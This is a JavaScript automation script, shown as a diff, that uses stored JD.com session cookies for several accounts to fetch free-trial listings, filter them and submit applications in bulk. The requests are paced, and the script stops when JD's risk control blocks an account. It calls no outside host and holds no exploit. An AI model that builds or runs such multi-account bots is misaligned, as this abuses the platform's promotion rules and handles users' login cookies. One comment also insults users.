JD_TRY_UNIFIED 为 true时,有3个账号,第一个账号跑脚本的时候,试用组是空的 + * 而当第一个账号跑完试用组后,第二个,第三个账号所采用的试用组默认采用的第一个账号的试用组 + * 优点:减少除第一个账号外的所有账号遍历,以减少每个账号的遍历时间 + * 缺点:A账号能申请的东西,B账号不一定有 + * 提示:想每个账号独立不同的试用产品的,请设置为false,想减少脚本运行时间的,请设置为true + * 默认为false + */ + unified: process.env.JD_TRY_UNIFIED === 'true' || false, + //以上环境变量新增于2022.01.25 + /* + * 商品原价,低于这个价格都不会试用,意思是 + * A商品原价49元,试用价1元,如果下面设置为50,那么A商品不会被加入到待提交的试用组 + * B商品原价99元,试用价0元,如果下面设置为50,那么B商品将会被加入到待提交的试用组 + * C商品原价99元,试用价1元,如果下面设置为50,那么C商品将会被加入到待提交的试用组 + * 默认为0 + * */ + jdPrice: process.env.JD_TRY_PRICE * 1 || 0, + /* + * 获取试用商品类型,默认为1 + * 下面有一个function是可以获取所有tabId的,名为try_tabList + * 可设置环境变量:JD_TRY_TABID,用@进行分隔 + * 默认为 1 到 10 + * */ + tabId: process.env.JD_TRY_TABID && process.env.JD_TRY_TABID.split('@').map(Number) || [1, 2, 3, 4, 5, 6, 7, 8, 9, 10], + /* + * 试用商品标题过滤,黑名单,当标题存在关键词时,则不加入试用组 + * 当白名单和黑名单共存时,黑名单会自动失效,优先匹配白名单,匹配完白名单后不会再匹配黑名单,望周知 + * 例如A商品的名称为『旺仔牛奶48瓶特价』,设置了匹配白名单,白名单关键词为『牛奶』,但黑名单关键词存在『旺仔』 + * 这时,A商品还是会被添加到待提交试用组,白名单优先于黑名单 + * 已内置对应的 成人类 幼儿类 宠物 老年人类关键词,请勿重复添加 + * 可设置环境变量:JD_TRY_TITLEFILTERS,关键词与关键词之间用@分隔 + * */ + titleFilters: process.env.JD_TRY_TITLEFILTERS && process.env.JD_TRY_TITLEFILTERS.split('@') || [], + /* + * 试用价格(中了要花多少钱),高于这个价格都不会试用,小于等于才会试用,意思就是 + * A商品原价49元,现在试用价1元,如果下面设置为10,那A商品将会被添加到待提交试用组,因为1 < 10 + * B商品原价49元,现在试用价2元,如果下面设置为1,那B商品将不会被添加到待提交试用组,因为2 > 1 + * C商品原价49元,现在试用价1元,如果下面设置为1,那C商品也会被添加到带提交试用组,因为1 = 1 + * 可设置环境变量:JD_TRY_TRIALPRICE,默认为0 + * */ + trialPrice: process.env.JD_TRY_TRIALPRICE * 1 || 0, + /* + * 最小提供数量,例如试用商品只提供2份试用资格,当前设置为1,则会进行申请 + * 若只提供5分试用资格,当前设置为10,则不会申请 + * 可设置环境变量:JD_TRY_MINSUPPLYNUM + * */ + minSupplyNum: process.env.JD_TRY_MINSUPPLYNUM * 1 || 1, + /* + * 过滤大于设定值的已申请人数,例如下面设置的1000,A商品已经有1001人申请了,则A商品不会进行申请,会被跳过 + * 可设置环境变量:JD_TRY_APPLYNUMFILTER + * */ + applyNumFilter: process.env.JD_TRY_APPLYNUMFILTER * 1 || 100000, + /* + * 商品试用之间和获取商品之间的间隔, 单位:毫秒(1秒=1000毫秒) + * 可设置环境变量:JD_TRY_APPLYINTERVAL + * 默认为3000,也就是3秒 + * */ + applyInterval: process.env.JD_TRY_APPLYINTERVAL * 1 || 5000, + /* + * 商品数组的最大长度,通俗来说就是即将申请的商品队列长度 + * 例如设置为20,当第一次获取后获得12件,过滤后剩下5件,将会进行第二次获取,过滤后加上第一次剩余件数 + * 例如是18件,将会进行第三次获取,直到过滤完毕后为20件才会停止,不建议设置太大 + * 可设置环境变量:JD_TRY_MAXLENGTH + * */ + maxLength: process.env.JD_TRY_MAXLENGTH * 1 || 100, + /* + * 过滤种草官类试用,某些试用商品是专属官专属,考虑到部分账号不是种草官账号 + * 例如A商品是种草官专属试用商品,下面设置为true,而你又不是种草官账号,那A商品将不会被添加到待提交试用组 + * 例如B商品是种草官专属试用商品,下面设置为false,而你是种草官账号,那A商品将会被添加到待提交试用组 + * 例如B商品是种草官专属试用商品,下面设置为true,即使你是种草官账号,A商品也不会被添加到待提交试用组 + * 可设置环境变量:JD_TRY_PASSZC,默认为true + * */ + passZhongCao: process.env.JD_TRY_PASSZC === 'true' || true, + /* + * 是否打印输出到日志,考虑到如果试用组长度过大,例如100以上,如果每个商品检测都打印一遍,日志长度会非常长 + * 打印的优点:清晰知道每个商品为什么会被过滤,哪个商品被添加到了待提交试用组 + * 打印的缺点:会使日志变得很长 + * + * 不打印的优点:简短日志长度 + * 不打印的缺点:无法清晰知道每个商品为什么会被过滤,哪个商品被添加到了待提交试用组 + * 可设置环境变量:JD_TRY_PLOG,默认为true + * */ + printLog: process.env.JD_TRY_PLOG === 'true' || true, + /* + * 白名单,是否打开,如果下面为true,那么黑名单会自动失效 + * 白名单和黑名单无法共存,白名单永远优先于黑名单 + * 可通过环境变量控制:JD_TRY_WHITELIST,默认为false + * */ + whiteList: process.env.JD_TRY_WHITELIST === 'true' || false, + /* + * 白名单关键词,当标题存在关键词时,加入到试用组 + * 例如A商品的名字为『旺仔牛奶48瓶特价』,白名单其中一个关键词是『牛奶』,那么A将会直接被添加到待提交试用组,不再进行另外判断 + * 就算设置了黑名单也不会判断,希望这种写得那么清楚的脑瘫问题就别提issues了 + * 可通过环境变量控制:JD_TRY_WHITELIST,用@分隔 + * */ + whiteListKeywords: process.env.JD_TRY_WHITELISTKEYWORDS && process.env.JD_TRY_WHITELISTKEYWORDS.split('@') || [], + /* + * 每多少个账号发送一次通知,默认为4 + * 可通过环境变量控制 JD_TRY_SENDNUM + * */ + sendNum: process.env.JD_TRY_SENDNUM * 1 || 4, +} +//上面很重要,遇到问题请把上面注释看一遍再来问 +!(async() => { + await $.wait(500) + // 如果你要运行京东试用这个脚本,麻烦你把环境变量 JD_TRY 设置为 true + if (process.env.JD_TRY && process.env.JD_TRY === 'true') { + await requireConfig() + if (!$.cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }) + return + } + for (let i = 0; i < $.cookiesArr.length; i++) { + if ($.cookiesArr[i]) { + $.cookie = $.cookiesArr[i]; + $.UserName = decodeURIComponent($.cookie.match(/pt_pin=(.+?);/) && $.cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await totalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + $.except = false; + if(args_xh.except.includes($.UserName)){ + console.log(`跳过账号:${$.nickName || $.UserName}`) + $.except = true; + continue + } + if(!$.isLogin){ + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { + "open-url": "https://bean.m.jd.com/bean/signIndex.action" + }); + await $.notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + continue + } + $.totalTry = 0 + $.totalSuccess = 0 + $.nowTabIdIndex = 0; + $.nowPage = 1; + $.nowItem = 1; + if (!args_xh.unified) { + trialActivityIdList = [] + trialActivityTitleList = [] + } + $.isLimit = false; + // 获取tabList的,不知道有哪些的把这里的注释解开跑一遍就行了 + // await try_tabList(); + // return; + $.isForbidden = false + $.wrong = false + size = 1 + while(trialActivityIdList.length < args_xh.maxLength && $.isForbidden === false){ + if(args_xh.unified && trialActivityIdList.length !== 0) break; + if($.nowTabIdIndex === args_xh.tabId.length){ + console.log(`tabId组已遍历完毕,不在获取商品\n`); + break; + } else { + await try_feedsList(args_xh.tabId[$.nowTabIdIndex], $.nowPage) //获取对应tabId的试用页面 + } + if(trialActivityIdList.length < args_xh.maxLength){ + console.log(`间隔等待中,请等待 3 秒\n`) + await $.wait(3000); + } + } + if ($.isForbidden === false && $.isLimit === false) { + console.log(`稍后将执行试用申请,请等待 2 秒\n`) + await $.wait(2000); + for(let i = 0; i < trialActivityIdList.length && $.isLimit === false; i++){ + if($.isLimit){ + console.log("试用上限") + break + } + await try_apply(trialActivityTitleList[i], trialActivityIdList[i]) + console.log(`间隔等待中,请等待 ${args_xh.applyInterval} ms\n`) + await $.wait(args_xh.applyInterval); + } + console.log("试用申请执行完毕...") + // await try_MyTrials(1, 1) //申请中的商品 + $.giveupNum = 0; + $.successNum = 0; + $.getNum = 0; + $.completeNum = 0; + await try_MyTrials(1, 2) //申请成功的商品 + // await try_MyTrials(1, 3) //申请失败的商品 + await showMsg() + } + } + if($.isNode()){ + if($.index % args_xh.sendNum === 0){ + $.sentNum++; + console.log(`正在进行第 ${$.sentNum} 次发送通知,发送数量:${args_xh.sendNum}`) + await $.notify.sendNotify(`${$.name}`, `${notifyMsg}`) + notifyMsg = ""; + } + } + } + if($.isNode() && $.except === false){ + if(($.cookiesArr.length - ($.sentNum * args_xh.sendNum)) < args_xh.sendNum){ + console.log(`正在进行最后一次发送通知,发送数量:${($.cookiesArr.length - ($.sentNum * args_xh.sendNum))}`) + await $.notify.sendNotify(`${$.name}`, `${notifyMsg}`) + notifyMsg = ""; + } + } + } else { + console.log(`\n您未设置运行【京东试用】脚本,结束运行!\n`) + } +})().catch((e) => { + console.error(`❗️ ${$.name} 运行错误!\n${e}`) +}).finally(() => $.done()) + +function requireConfig() { + return new Promise(resolve => { + console.log('开始获取配置文件\n') + $.notify = $.isNode() ? require('./sendNotify') : { sendNotify: async () => { } } + //获取 Cookies + $.cookiesArr = [] + if ($.isNode()) { + //Node.js用户请在jdCookie.js处填写京东ck; + const jdCookieNode = require('./jdCookie.js'); + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) $.cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; + } else { + //IOS等用户直接用NobyDa的jd $.cookie + $.cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + for(let keyWord of $.innerKeyWords) args_xh.titleFilters.push(keyWord) + console.log(`共${$.cookiesArr.length}个京东账号\n`) + if(args_xh.env){ + console.log('=====环境变量配置如下=====') + console.log(`env: ${typeof args_xh.env}, ${args_xh.env}`) + console.log(`except: ${typeof args_xh.except}, ${args_xh.except}`) + console.log(`totalPages: ${typeof args_xh.totalPages}, ${args_xh.totalPages}`) + console.log(`unified: ${typeof args_xh.unified}, ${args_xh.unified}`) + console.log(`jdPrice: ${typeof args_xh.jdPrice}, ${args_xh.jdPrice}`) + console.log(`tabId: ${typeof args_xh.tabId}, ${args_xh.tabId}`) + console.log(`titleFilters: ${typeof args_xh.titleFilters}, ${args_xh.titleFilters}`) + console.log(`trialPrice: ${typeof args_xh.trialPrice}, ${args_xh.trialPrice}`) + console.log(`minSupplyNum: ${typeof args_xh.minSupplyNum}, ${args_xh.minSupplyNum}`) + console.log(`applyNumFilter: ${typeof args_xh.applyNumFilter}, ${args_xh.applyNumFilter}`) + console.log(`applyInterval: ${typeof args_xh.applyInterval}, ${args_xh.applyInterval}`) + console.log(`maxLength: ${typeof args_xh.maxLength}, ${args_xh.maxLength}`) + console.log(`passZhongCao: ${typeof args_xh.passZhongCao}, ${args_xh.passZhongCao}`) + console.log(`printLog: ${typeof args_xh.printLog}, ${args_xh.printLog}`) + console.log(`whiteList: ${typeof args_xh.whiteList}, ${args_xh.whiteList}`) + console.log(`whiteListKeywords: ${typeof args_xh.whiteListKeywords}, ${args_xh.whiteListKeywords}`) + console.log('=======================') + } + resolve() + }) +} + +//获取tabList的,如果不知道tabList有哪些,跑一遍这个function就行了 +function try_tabList() { + return new Promise((resolve, reject) => { + console.log(`获取tabList中...`) + const body = JSON.stringify({ + "version": 2, + "previewTime": "" + }); + let option = taskurl_xh('newtry', 'try_tabList', body) + $.get(option, (err, resp, data) => { + try{ + if(err){ + if(JSON.stringify(err) === `\"Response code 403 (Forbidden)\"`){ + $.isForbidden = true + console.log('账号被京东服务器风控,不再请求该帐号') + } else { + console.log(JSON.stringify(err)) + console.log(`${$.name} API请求失败,请检查网路重试`) + } + } else { + data = JSON.parse(data) + if (data.success) { + for (let tabId of data.data.tabList) console.log(`${tabId.tabName} - ${tabId.tabId}`) + } else { + console.log("获取失败", data) + } + } + } catch (e) { + reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) + } finally { + resolve() + } + }) + }) +} + +//获取商品列表并且过滤 By X1a0He +function try_feedsList(tabId, page) { + return new Promise((resolve, reject) => { + const body = JSON.stringify({ + "tabId": `${tabId}`, + "page": page, + "version": 2, + "source": "default", + "client": "app", + "previewTime": "" + }); + let option = taskurl_xh('newtry', 'try_feedsList', body) + $.get(option, (err, resp, data) => { + try{ + if(err){ + if(JSON.stringify(err) === `\"Response code 403 (Forbidden)\"`){ + $.isForbidden = true + console.log('账号被京东服务器风控,不再请求该帐号') + } else { + console.log(JSON.stringify(err)) + console.log(`${$.name} API请求失败,请检查网路重试`) + } + } else { + data = JSON.parse(data) + let tempKeyword = ``; + if (data.success) { + $.nowPage === args_xh.totalPages ? $.nowPage = 1 : $.nowPage++; + console.log(`第 ${size++} 次获取试用商品成功,tabId:${args_xh.tabId[$.nowTabIdIndex]} 的 第 ${page}/${args_xh.totalPages} 页`) + console.log(`获取到商品 ${data.data.feedList.length} 条`) + for (let item of data.data.feedList) { + if (item.applyNum === null) { + args_xh.printLog ? console.log(`商品未到申请时间:${item.skuTitle}\n`) : '' + continue + } + if (trialActivityIdList.length >= args_xh.maxLength) { + console.log('商品列表长度已满.结束获取') + break + } + if (item.applyState === 1) { + args_xh.printLog ? console.log(`商品已申请试用:${item.skuTitle}\n`) : '' + continue + } + if (item.applyState !== null) { + args_xh.printLog ? console.log(`商品状态异常,未找到skuTitle\n`) : '' + continue + } + if (args_xh.passZhongCao) { + $.isPush = true; + if (item.tagList.length !== 0) { + for (let itemTag of item.tagList) { + if (itemTag.tagType === 3) { + args_xh.printLog ? console.log('商品被过滤,该商品是种草官专属') : '' + $.isPush = false; + break; + } else if(itemTag.tagType === 5){ + args_xh.printLog ? console.log('商品被跳过,该商品是付费试用!') : '' + $.isPush = false; + break; + } + } + } + } + if (item.skuTitle && $.isPush) { + args_xh.printLog ? console.log(`检测 tabId:${args_xh.tabId[$.nowTabIdIndex]} 的 第 ${page}/${args_xh.totalPages} 页 第 ${$.nowItem++ + 1} 个商品\n${item.skuTitle}`) : '' + if (args_xh.whiteList) { + if (args_xh.whiteListKeywords.some(fileter_word => item.skuTitle.includes(fileter_word))) { + args_xh.printLog ? console.log(`商品白名单通过,将加入试用组,trialActivityId为${item.trialActivityId}\n`) : '' + trialActivityIdList.push(item.trialActivityId) + trialActivityTitleList.push(item.skuTitle) + } + } else { + tempKeyword = ``; + if (parseFloat(item.jdPrice) <= args_xh.jdPrice) { + args_xh.printLog ? console.log(`商品被过滤,${item.jdPrice} < ${args_xh.jdPrice} \n`) : '' + } else if (parseFloat(item.supplyNum) < args_xh.minSupplyNum && item.supplyNum !== null) { + args_xh.printLog ? console.log(`商品被过滤,提供申请的份数小于预设申请的份数 \n`) : '' + } else if (parseFloat(item.applyNum) > args_xh.applyNumFilter && item.applyNum !== null) { + args_xh.printLog ? console.log(`商品被过滤,已申请试用人数大于预设人数 \n`) : '' + } else if (parseFloat(item.jdPrice) < args_xh.jdPrice) { + args_xh.printLog ? console.log(`商品被过滤,商品原价低于预设商品原价 \n`) : '' + } else if (args_xh.titleFilters.some(fileter_word => item.skuTitle.includes(fileter_word) ? tempKeyword = fileter_word : '')) { + args_xh.printLog ? console.log(`商品被过滤,含有关键词 ${tempKeyword}\n`) : '' + } else { + args_xh.printLog ? console.log(`商品通过,将加入试用组,trialActivityId为${item.trialActivityId}\n`) : '' + trialActivityIdList.push(item.trialActivityId) + trialActivityTitleList.push(item.skuTitle) + } + } + } else if ($.isPush !== false) { + console.error('skuTitle解析异常') + return + } + } + console.log(`当前试用组长度为:${trialActivityIdList.length}`) + args_xh.printLog ? console.log(`${trialActivityIdList}`) : '' + if (page >= args_xh.totalPages && $.nowTabIdIndex < args_xh.tabId.length) { + //这个是因为每一个tab都会有对应的页数,获取完如果还不够的话,就获取下一个tab + $.nowTabIdIndex++; + $.nowPage = 1; + $.nowItem = 1; + } + } else { + console.log(`💩 获得试用列表失败: ${data.message}`) + } + } + } catch (e) { + reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) + } finally { + resolve() + } + }) + }) +} + +function try_apply(title, activityId) { + return new Promise((resolve, reject) => { + console.log(`申请试用商品提交中...`) + args_xh.printLog ? console.log(`商品:${title}`) : '' + args_xh.printLog ? console.log(`id为:${activityId}`) : '' + const body = JSON.stringify({ + "activityId": activityId, + "previewTime": "" + }); + let option = taskurl_xh('newtry', 'try_apply', body) + $.get(option, (err, resp, data) => { + try{ + if(err){ + if(JSON.stringify(err) === `\"Response code 403 (Forbidden)\"`){ + $.isForbidden = true + console.log('账号被京东服务器风控,不再请求该帐号') + } else { + console.log(JSON.stringify(err)) + console.log(`${$.name} API请求失败,请检查网路重试`) + } + } else { + $.totalTry++ + data = JSON.parse(data) + if (data.success && data.code === "1") { // 申请成功 + console.log("申请提交成功") + $.totalSuccess++ + } else if (data.code === "-106") { + console.log(data.message) // 未在申请时间内! + } else if (data.code === "-110") { + console.log(data.message) // 您的申请已成功提交,请勿重复申请… + } else if (data.code === "-120") { + console.log(data.message) // 您还不是会员,本品只限会员申请试用,请注册会员后申请! + } else if (data.code === "-167") { + console.log(data.message) // 抱歉,此试用需为种草官才能申请。查看下方详情了解更多。 + } else if (data.code === "-131") { + console.log(data.message) // 申请次数上限。 + $.isLimit = true; + } else if (data.code === "-113") { + console.log(data.message) // 操作不要太快哦! + } else { + console.log("申请失败", data) + } + } + } catch (e) { + reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) + } finally { + resolve() + } + }) + }) +} + +function try_MyTrials(page, selected) { + return new Promise((resolve, reject) => { + switch (selected) { + case 1: + console.log('正在获取已申请的商品...') + break; + case 2: + console.log('正在获取申请成功的商品...') + break; + case 3: + console.log('正在获取申请失败的商品...') + break; + default: + console.log('selected错误') + } + let options = { + url: URL, + body: `appid=newtry&functionId=try_MyTrials&clientVersion=10.3.4&client=wh5&body=%7B%22page%22%3A${page}%2C%22selected%22%3A${selected}%2C%22previewTime%22%3A%22%22%7D`, + headers: { + 'origin': 'https://prodev.m.jd.com', + 'User-Agent': 'jdapp;iPhone;10.3.4;;;M/5.0;appBuild/167945;jdSupportDarkMode/1;;;Mozilla/5.0 (iPhone; CPU iPhone OS 15_2_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1;', + 'referer': 'https://prodev.m.jd.com/', + 'cookie': $.cookie + }, + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`🚫 ${arguments.callee.name.toString()} API请求失败,请检查网路\n${JSON.stringify(err)}`) + } else { + data = JSON.parse(data) + if (data.success) { + //temp adjustment + if (selected === 2) { + if (data.success && data.data) { + for (let item of data.data.list) { + item.status === 4 || item.text.text.includes('已放弃') ? $.giveupNum += 1 : '' + item.status === 2 && item.text.text.includes('试用资格将保留') ? $.successNum += 1 : '' + item.status === 2 && item.text.text.includes('请收货后尽快提交报告') ? $.getNum += 1 : '' + item.status === 2 && item.text.text.includes('试用已完成') ? $.completeNum += 1 : '' + } + console.log(`待领取 | 已领取 | 已完成 | 已放弃:${$.successNum} | ${$.getNum} | ${$.completeNum} | ${$.giveupNum}`) + } else { + console.log(`获得成功列表失败: ${data.message}`) + } + } + } else { + console.error(`ERROR:try_MyTrials`) + } + } + } catch (e) { + reject(`⚠️ ${arguments.callee.name.toString()} API返回结果解析出错\n${e}\n${JSON.stringify(data)}`) + } finally { + resolve() + } + }) + }) +} + +function taskurl_xh(appid, functionId, body = JSON.stringify({})) { + return { + "url": `${URL}?appid=${appid}&functionId=${functionId}&clientVersion=10.3.4&client=wh5&body=${encodeURIComponent(body)}`, + 'headers': { + 'Cookie': $.cookie, + 'UserAgent': 'jdapp;iPhone;10.1.2;15.0;ff2caa92a8529e4788a34b3d8d4df66d9573f499;network/wifi;model/iPhone13,4;addressid/2074196292;appBuild/167802;jdSupportDarkMode/1;Mozilla/5.0 (iPhone; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1', + 'Referer': 'https://prodev.m.jd.com/' + }, + } +} + +async function showMsg() { + let message = ``; + message += `👤 京东账号${$.index} ${$.nickName || $.UserName}\n`; + if ($.totalSuccess !== 0 && $.totalTry !== 0) { + message += `🎉 本次提交申请:${$.totalSuccess}/${$.totalTry}个商品🛒\n`; + message += `🎉 ${$.successNum}个商品待领取\n`; + message += `🎉 ${$.getNum}个商品已领取\n`; + message += `🎉 ${$.completeNum}个商品已完成\n`; + message += `🗑 ${$.giveupNum}个商品已放弃\n\n`; + } else { + message += `⚠️ 本次执行没有申请试用商品\n`; + message += `🎉 ${$.successNum}个商品待领取\n`; + message += `🎉 ${$.getNum}个商品已领取\n`; + message += `🎉 ${$.completeNum}个商品已完成\n`; + message += `🗑 ${$.giveupNum}个商品已放弃\n\n`; + } + if (!args_xh.jdNotify || args_xh.jdNotify === 'false') { + $.msg($.name, ``, message, { + "open-url": 'https://try.m.jd.com/user' + }) + if ($.isNode()) + notifyMsg += `${message}` + } else { + console.log(message) + } +} + +function totalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": $.cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + }, + "timeout": 10000, + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +function Env(name, opts) { + class Http { + constructor(env) { + this.env = env + } + + send(opts, method = 'GET') { + opts = typeof opts === 'string' ? { + url: opts + } : opts + let sender = this.get + if (method === 'POST') { + sender = this.post + } + return new Promise((resolve, reject) => { + sender.call(this, opts, (err, resp, body) => { + if (err) reject(err) + else resolve(resp) + }) + }) + } + + get(opts) { + return this.send.call(this.env, opts) + } + + post(opts) { + return this.send.call(this.env, opts, 'POST') + } + } + + return new (class { + constructor(name, opts) { + this.name = name + this.http = new Http(this) + this.data = null + this.dataFile = 'box.dat' + this.logs = [] + this.isMute = false + this.isNeedRewrite = false + this.logSeparator = '\n' + this.startTime = new Date().getTime() + Object.assign(this, opts) + this.log('', `🔔${this.name}, 开始!`) + } + + isNode() { + return 'undefined' !== typeof module && !!module.exports + } + + isQuanX() { + return 'undefined' !== typeof $task + } + + isSurge() { + return 'undefined' !== typeof $httpClient && 'undefined' === typeof $loon + } + + isLoon() { + return 'undefined' !== typeof $loon + } + + toObj(str, defaultValue = null) { + try { + return JSON.parse(str) + } catch { + return defaultValue + } + } + + toStr(obj, defaultValue = null) { + try { + return JSON.stringify(obj) + } catch { + return defaultValue + } + } + + getjson(key, defaultValue) { + let json = defaultValue + const val = this.getdata(key) + if (val) { + try { + json = JSON.parse(this.getdata(key)) + } catch { } + } + return json + } + + setjson(val, key) { + try { + return this.setdata(JSON.stringify(val), key) + } catch { + return false + } + } + + getScript(url) { + return new Promise((resolve) => { + this.get({ + url + }, (err, resp, body) => resolve(body)) + }) + } + + runScript(script, runOpts) { + return new Promise((resolve) => { + let httpapi = this.getdata('@chavy_boxjs_userCfgs.httpapi') + httpapi = httpapi ? httpapi.replace(/\n/g, '').trim() : httpapi + let httpapi_timeout = this.getdata('@chavy_boxjs_userCfgs.httpapi_timeout') + httpapi_timeout = httpapi_timeout ? httpapi_timeout * 1 : 20 + httpapi_timeout = runOpts && runOpts.timeout ? runOpts.timeout : httpapi_timeout + const [key, addr] = httpapi.split('@') + const opts = { + url: `http://${addr}/v1/scripting/evaluate`, + body: { + script_text: script, + mock_type: 'cron', + timeout: httpapi_timeout + }, + headers: { + 'X-Key': key, + 'Accept': '*/*' + } + } + this.post(opts, (err, resp, body) => resolve(body)) + }).catch((e) => this.logErr(e)) + } + + loaddata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require('fs') + this.path = this.path ? this.path : require('path') + const curDirDataFilePath = this.path.resolve(this.dataFile) + const rootDirDataFilePath = this.path.resolve(process.cwd(), this.dataFile) + const isCurDirDataFile = this.fs.existsSync(curDirDataFilePath) + const isRootDirDataFile = !isCurDirDataFile && this.fs.existsSync(rootDirDataFilePath) + if (isCurDirDataFile || isRootDirDataFile) { + const datPath = isCurDirDataFile ? curDirDataFilePath : rootDirDataFilePath + try { + return JSON.parse(this.fs.readFileSync(datPath)) + } catch (e) { + return {} + } + } else return {} + } else return {} + } + + writedata() { + if (this.isNode()) { + this.fs = this.fs ? this.fs : require('fs') + this.path = this.path ? this.path : require('path') + const curDirDataFilePath = this.path.resolve(this.dataFile) + const rootDirDataFilePath = this.path.resolve(process.cwd(), this.dataFile) + const isCurDirDataFile = this.fs.existsSync(curDirDataFilePath) + const isRootDirDataFile = !isCurDirDataFile && this.fs.existsSync(rootDirDataFilePath) + const jsondata = JSON.stringify(this.data) + if (isCurDirDataFile) { + this.fs.writeFileSync(curDirDataFilePath, jsondata) + } else if (isRootDirDataFile) { + this.fs.writeFileSync(rootDirDataFilePath, jsondata) + } else { + this.fs.writeFileSync(curDirDataFilePath, jsondata) + } + } + } + + lodash_get(source, path, defaultValue = undefined) { + const paths = path.replace(/\[(\d+)\]/g, '.$1').split('.') + let result = source + for (const p of paths) { + result = Object(result)[p] + if (result === undefined) { + return defaultValue + } + } + return result + } + + lodash_set(obj, path, value) { + if (Object(obj) !== obj) return obj + if (!Array.isArray(path)) path = path.toString().match(/[^.[\]]+/g) || [] + path.slice(0, -1).reduce((a, c, i) => (Object(a[c]) === a[c] ? a[c] : (a[c] = Math.abs(path[i + 1]) >> 0 === +path[i + 1] ? [] : {})), obj)[ + path[path.length - 1] + ] = value + return obj + } + + getdata(key) { + let val = this.getval(key) + // 如果以 @ + if (/^@/.test(key)) { + const [, objkey, paths] = /^@(.*?)\.(.*?)$/.exec(key) + const objval = objkey ? this.getval(objkey) : '' + if (objval) { + try { + const objedval = JSON.parse(objval) + val = objedval ? this.lodash_get(objedval, paths, '') : val + } catch (e) { + val = '' + } + } + } + return val + } + + setdata(val, key) { + let issuc = false + if (/^@/.test(key)) { + const [, objkey, paths] = /^@(.*?)\.(.*?)$/.exec(key) + const objdat = this.getval(objkey) + const objval = objkey ? (objdat === 'null' ? null : objdat || '{}') : '{}' + try { + const objedval = JSON.parse(objval) + this.lodash_set(objedval, paths, val) + issuc = this.setval(JSON.stringify(objedval), objkey) + } catch (e) { + const objedval = {} + this.lodash_set(objedval, paths, val) + issuc = this.setval(JSON.stringify(objedval), objkey) + } + } else { + issuc = this.setval(val, key) + } + return issuc + } + + getval(key) { + if (this.isSurge() || this.isLoon()) { + return $persistentStore.read(key) + } else if (this.isQuanX()) { + return $prefs.valueForKey(key) + } else if (this.isNode()) { + this.data = this.loaddata() + return this.data[key] + } else { + return (this.data && this.data[key]) || null + } + } + + setval(val, key) { + if (this.isSurge() || this.isLoon()) { + return $persistentStore.write(val, key) + } else if (this.isQuanX()) { + return $prefs.setValueForKey(val, key) + } else if (this.isNode()) { + this.data = this.loaddata() + this.data[key] = val + this.writedata() + return true + } else { + return (this.data && this.data[key]) || null + } + } + + initGotEnv(opts) { + this.got = this.got ? this.got : require('got') + this.cktough = this.cktough ? this.cktough : require('tough-cookie') + this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar() + if (opts) { + opts.headers = opts.headers ? opts.headers : {} + if (undefined === opts.headers.Cookie && undefined === opts.cookieJar) { + opts.cookieJar = this.ckjar + } + } + } + + get(opts, callback = () => { }) { + if (opts.headers) { + delete opts.headers['Content-Type'] + delete opts.headers['Content-Length'] + } + if (this.isSurge() || this.isLoon()) { + if (this.isSurge() && this.isNeedRewrite) { + opts.headers = opts.headers || {} + Object.assign(opts.headers, { + 'X-Surge-Skip-Scripting': false + }) + } + $httpClient.get(opts, (err, resp, body) => { + if (!err && resp) { + resp.body = body + resp.statusCode = resp.status + } + callback(err, resp, body) + }) + } else if (this.isQuanX()) { + if (this.isNeedRewrite) { + opts.opts = opts.opts || {} + Object.assign(opts.opts, { + hints: 